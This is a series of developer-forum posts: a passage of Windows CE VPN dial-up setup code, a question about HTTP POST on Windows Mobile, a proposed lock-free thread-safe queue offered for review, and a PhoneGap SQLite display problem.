if (dwError = RasGetEntryProperties(NULL, _T(""), &RasEntry, &dwSize, NULL, NULL)) {
return dwError;
}
// Fill the RASENTRY structure
//
ipaddrDns.a = 145;
ipaddrDns.b = 130;
ipaddrDns.c = 233;
ipaddrDns.d = 10;
_tcscpy(RasEntry.szDeviceType, RASDT_Vpn);
_tcscpy(RasEntry.szDeviceName, _T("Cellular Line (GPRS)"));
RasEntry.dwfOptions = RASEO_SpecificNameServers ;
RasEntry.ipaddrDns = ipaddrDns;
// Create a new phone-book entry.
if (dwError = RasSetEntryProperties(NULL, lpszName, &RasEntry,sizeof(RASENTRY), (LPBYTE)lpDevCfg + lpDevCfg->dwStringOffset, lpDevCfg->dwStringSize)) {
LocalFree(lpDevCfg);
return dwError;
}
LocalFree(lpDevCfg);
// Initialize a RASDIALPARAMS structure
//
memset(&RasDialParams,0,sizeof(RASDIALPARAMS));
RasDialParams.dwSize = sizeof(RASDIALPARAMS);
_tcscpy(RasDialParams.szEntryName, lpszName);
// Insert code here to fill up the RASDIALPARAMS structure
wcscpy(RasDialParams.szUserName,lpszLogin);
wcscpy(RasDialParams.szPassword,lpszPassword);
// Change the connection data
//
if (dwError = RasSetEntryDialParams(NULL, &RasDialParams, FALSE)) {
return dwError;
}
return dwError;
}

Webclient Help

how do i replicate this under windows mobile. The first function works flawlessly however the second version (Which is required to run on windows mobile 6.1-6.5) doesn't.. If anyone has any idea how to fix it i'm willing to try it out.
Thanks
Code:
private static byte[] WebPost(string url, byte[] data)
{
var webClient = new WebClient();
return webClient.UploadData(url, data);
}
This dont.
Code:
private static byte[] WebPost(string url, byte[] data)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Credentials = System.Net.CredentialCache.DefaultCredentials;
request.Timeout = 10000; // 10 secs
request.Method = "POST";
byte[] requestPostBuffer = System.Text.Encoding.GetEncoding(1252).GetBytes(ByteArrayToStr(data));
request.ContentLength = requestPostBuffer.Length;
Stream requestPostData = request.GetRequestStream();
requestPostData.Write(requestPostBuffer, 0, requestPostBuffer.Length);
requestPostData.Close();
// initialize the httpweresponse object
HttpWebResponse webResponse = (HttpWebResponse)request.GetResponse();
// set our encoding
Encoding enc = System.Text.Encoding.GetEncoding(1252);
//initialis the webresponse stream with our encoding
StreamReader webResponseStream = new StreamReader(webResponse.GetResponseStream(),enc);
// create a string to copy it all into.
string streamedData = webResponseStream.ReadToEnd();
webResponse.Close();
webResponseStream.Close();
byte[] convertedResponse = StrToByteArray(streamedData);
convertedResponse = Encoding.Convert(System.Text.Encoding.Default, Encoding.GetEncoding(1252),convertedResponse);
return convertedResponse;
}

Unblocking thread safe queue - check code, please (and use, if right for you)

Hi friends.
I must solve big problem to finish HaRET (and other native applications) managed wrapper and UI (i. e. for example managed Silverlight UI controlled from unmanaged code), safe WP7 FTP client, interprocess cooperation on WP7, etc.
I know it is a basic issue, which is probably solved many time in operating systems (windows messages etc.) and many other examples.
But, I could find no any source code for queue, which is:
1. safe for more writers (threads from more processes) and for one reader,
2. unblocking for all writers,
3. unblocking for reader.
I found only very much unblocking ringbuffers or blocking queues, no one unblocking unlimited queue. Please, send corrections if I am bad looking.
Then, I tried code it...
First I want use std::queue with Thread Local Storage identifications (one subqueue for all writer and one abqueue for reader). But, TLS is very limited on CE based systems and I am not sure, if it solve interprocess safety too.
Finally, I tried to write the following code. It is designed for interthread queue only still, but interprocess can be added by safe named filemapping probably. Tell your opinion, it will be the basis for many complex applications here. For many years I have not worked with low-level synchronisation, I could make a fundamental mistake. So far I've missed templates and any wrapper, it's just the basic idea, usable in both C/C++ with very little changes:
PHP:
// This queue is unblocking and thread safe, when:
// 1. more writers are allowed,
// 2. one reader is allowed only.
// Motto: Pointers queue is both-directional, but frontal direction is changed by writers, backward direction by reader only!
#ifndef InterlockedExchangePointer
#define InterlockedExchangePointer(Target, Value) ((PVOID)InterlockedExchange((PLONG)(Target), (LONG)(Value)))
#endif
#ifndef InterlockedCompareExchangePointer
#define InterlockedCompareExchangePointer(Destination, ExChange, Comperand) ((PVOID)InterlockedCompareExchange((PLONG)(Destination), (LONG)(ExChange), (LONG)(Comperand)))
#endif
typedef struct SQItem
{
SQItem * pNext;
SQItem * pPrev;
void * pValue;
} * PItem;
SQItem EmptyItem = {NULL, NULL, NULL};
PItem pFront = &EmptyItem;
PItem pBack = &EmptyItem;
// Empty queue contains one item with both directions pointers nulled.
bool push_front(void * pNewValue) // nonblocking push, but theoretically forever cycle is possible for low priority thread! Practically improbable.
{
if (!pNewValue)
{
return false;
}
PItem pNewFront = new SQItem;
if (pNewFront)
{
PItem pProbablyFront;
InterlockedExchangePointer(&pProbablyFront, pFront);
pNewFront->pNext = pProbablyFront;
pNewFront->pPrev = NULL;
pNewFront->pValue = pNewValue;
while (InterlockedCompareExchangePointer(&pFront, pNewFront, pProbablyFront) != pProbablyFront)
{ // Another writer changed front pointer, active writer must try it again.
InterlockedExchangePointer(&pProbablyFront, pFront);
pNewFront->pNext = pProbablyFront;
}
return true; // Success allways.
}
return false; // Insufficient memory.
}
void * pop_back() // one reader allowed only!!!
{
PItem pBackward;
InterlockedExchangePointer(&pBackward, pFront); // Safe copy of actual front pointer
if (pBackward == pBack) // Queue is empty in time of interlocked attempt.
{
return NULL;
}
if (!pBack->pPrev)
{ // If backward queue is not continued here, reconstruct it from safe front pointer.
while (pBackward != pBack && !pBackward->pNext->pPrev)
{
pBackward->pNext->pPrev = pBackward;
pBackward = pBackward->pNext;
}
}
// One reader can safe read from back and manipulate with backward queue.
PItem pDelete = pBack;
pBack->pPrev->pNext = NULL;
pBack = pBack->pPrev;
delete pDelete;
return pBack->pValue;
/* // This is not necessary, but it is more clean:
void * pResult = pBack->pValue;
pBack->pValue = NULL;
return pResult;
*/
}
I am not sure, if heap allocation is not more "blocking" operation due to swapping and mm priorities, then object/signal waiting. What do you mean about it?
Mirror principle can be used to OneToMore queue making. Thanks unblocking, MoreToOne and OneToMore can be immeditelly piped to MoreToMore one.
But, when CE systems do not support two coupled pointers interlocked functions, there is no possibility to identify allowed reader safely, then this has not great significance.
As well, MoreToOne is much more needed now.
Template version
Using (simple example, the same way will be used between native threads and managed Silverlight UI):
Code:
#include "..\Templates\STQueue.h"
STQueue<tstring> qMessages(L"");
Code:
... // Called by [B]any thread[/B]:
void SafeMessage(tstring sMessage)
{
qMessages.push_front(sMessage);
PostMessage(hUnsafe, WM_FTP_MESSAGE, 0 , 0);
}
...
Code:
... // In UI thread:
LRESULT OnMsgMessage(HWND hWnd, WPARAM wParam, LPARAM lParam)
{
bool bChange = false;
tstring szMessage = L"";
while ((szMessage = qMessages.pop_back()) != L"")
{
szMessages += szMessage;
szMessages += L"\r\n";
bChange = true;
}
if (bChange)
{
SetDlgItemText(hMainDlg, IDC_EDITMessage, szMessages.c_str());
}
return TRUE;
}
...
STQueue.h:
PHP:
template <class _Type> class STQItem
{
public:
STQItem<_Type> * pNext;
STQItem<_Type> * pPrev;
_Type Value;
STQItem(_Type & rV, STQItem<_Type> * pN = NULL, STQItem<_Type> * pP = NULL);
};
template <class _Type> class STQueue
{
protected:
STQItem<_Type> * pFront;
STQItem<_Type> * pBack;
_Type EmptyValue;
public:
STQueue(_Type EmptyV);
~STQueue();
bool push_front(const _Type & rNewValue);
const _Type & pop_back();
bool empty();
};
template <class _Type> STQItem<_Type>::STQItem(_Type & rV, STQItem<_Type> * pN, STQItem<_Type> * pP)
{
Value = rV;
pNext = pN;
pPrev = pP;
}
template <class _Type> STQueue<_Type>::STQueue(_Type EmptyV)
{
EmptyValue = EmptyV;
STQItem<_Type> * EmtyItem = new STQItem<_Type>(EmptyValue);
pFront = EmtyItem;
pBack = EmtyItem;
}
template <class _Type> STQueue<_Type>::~STQueue()
{
while (pop_back() != EmptyValue)
{
}
delete pBack;
}
template <class _Type> bool STQueue<_Type>::push_front(const _Type & rNewValue)
{ // nonblocking push, but theoretically forever cycle is possible for low priority thread!
STQItem<_Type> * pNewFront = new STQItem<_Type>(EmptyValue);
if (pNewFront)
{
STQItem<_Type> * pProbablyFront;
InterlockedExchangePointer(&pProbablyFront, pFront);
pNewFront->pNext = pProbablyFront;
pNewFront->pPrev = NULL;
pNewFront->Value = rNewValue;
while (InterlockedCompareExchangePointer(&pFront, pNewFront, pProbablyFront) != pProbablyFront)
{ // Another writer changed front pointer, active writer must try it again.
InterlockedExchangePointer(&pProbablyFront, pFront);
pNewFront->pNext = pProbablyFront;
}
return true; // Success allways.
}
return false; // Insufficient memory.
}
template <class _Type> const _Type & STQueue<_Type>::pop_back()
{ // one reader allowed only!!!
STQItem<_Type> * pBackward;
InterlockedExchangePointer(&pBackward, pFront); // Safe copy of actual front pointer
if (pBackward == pBack) // Queue is empty in time of interlocked attempt.
{
return EmptyValue;
}
if (!pBack->pPrev)
{ // If backward queue is not beginned, reconstruct it from safe front pointer.
while (pBackward != pBack && !pBackward->pNext->pPrev)
{
pBackward->pNext->pPrev = pBackward;
pBackward = pBackward->pNext;
}
}
// One reader can safe read from back and manipulate with backward queue.
STQItem<_Type> * pDelete = pBack;
pBack->pPrev->pNext = NULL;
pBack = pBack->pPrev;
delete pDelete;
return pBack->Value;
/* // This is not necessary, but it is more clean:
void * pResult = pBack->pValue;
pBack->pValue = NULL;
return pResult;
*/
}
template <class _Type> bool STQueue<_Type>::empty()
{
if(last==NULL)
return TRUE;
else
return FALSE;
}

[Q] PhoneGap Storage Problem

Hi all,
I'm stuck with my first Android App and I really hope you can help me out. I've build a simple app with a SQL database, based on the documentation on docs.phonegap.
I've created this script:
HTML:
<script type="text/javascript" charset="utf-8">
// Wait for device API libraries to load
//
document.addEventListener("deviceready", onDeviceReady, false);
// Populate the database
//
function populateDB(tx) {
tx.executeSql('DROP TABLE IF EXISTS DEMO');
tx.executeSql('CREATE TABLE IF NOT EXISTS DEMO (id unique, date, naam, description, image)');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (1, "2014-04-23", "Jacques Villeneuve", "Canadees autocoureur","test.jpg")');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (2, "1954-09-04","Dennis Quaid", "Amerikaans acteur","test.JPEG")');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (3, "1933-09-04","Jean-Paul Belmondo", "Frans acteur","test.jpg")');
}
// Query the database
//
function queryDB(tx) {
// Datum van vandaag
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth()+1; //January is 0!
var yyyy = today.getFullYear();
today = yyyy+'-'+mm+'-'+dd;
alert (today);
tx.executeSql('SELECT * FROM DEMO WHERE date = "2014-04-23" ORDER BY DATE ', [], querySuccess, errorCB);
}
// Query the success callback
//
function querySuccess(tx, results) {
var len = results.rows.length;
console.log("DEMO table: " + len + " rows found.");
for (var i=0; i<len; i++){
console.log("Row = " + i + " ID = " + results.rows.item(i).id + " Data = " + results.rows.item(i).date + " Naam: " + results.rows.item(i).naam);
}
}
// Transaction error callback
//
function errorCB(err) {
console.log("Error processing SQL: "+err.code);
}
// Transaction success callback
//
function successCB() {
var db = window.openDatabase("Database", "1.0", "Cordova Demo", 200000);
db.transaction(queryDB, errorCB);
}
// device APIs are available
//
function onDeviceReady() {
var db = window.openDatabase("Database", "1.0", "Cordova Demo", 200000);
db.transaction(populateDB, errorCB, successCB);
}
</script>
And I get the information in a div:
HTML:
<script>
function querySuccess(tx, results) {
var len = results.rows.length;
console.log("DEMO table: " + len + " rows found.");
for (var i=0; i<len; i++){
var div = document.getElementById("textDiv");
div.innerHTML = div.innerHTML
+ "<div>"
+" " + results.rows.item(i).date +" "
+"<h1>" + results.rows.item(i).naam +"</h1>"
+" " + results.rows.item(i).description +" "
+"<img src=\"" + results.rows.item(i).image + "\">"
+ "</div>";
}
}
</script>
When I test it in Chrome Ripple, I see the information from the database perfectly! Only when I check it in Dreamweaver, I don't see the information. Also when I build the app with Dreamweaver Phonegap build and emulate it, it doesn't work either. This is probably a beginner question but I really need some help right now!!!
Thank so much for your help!
Kind regards,
Mark

Categories

Resources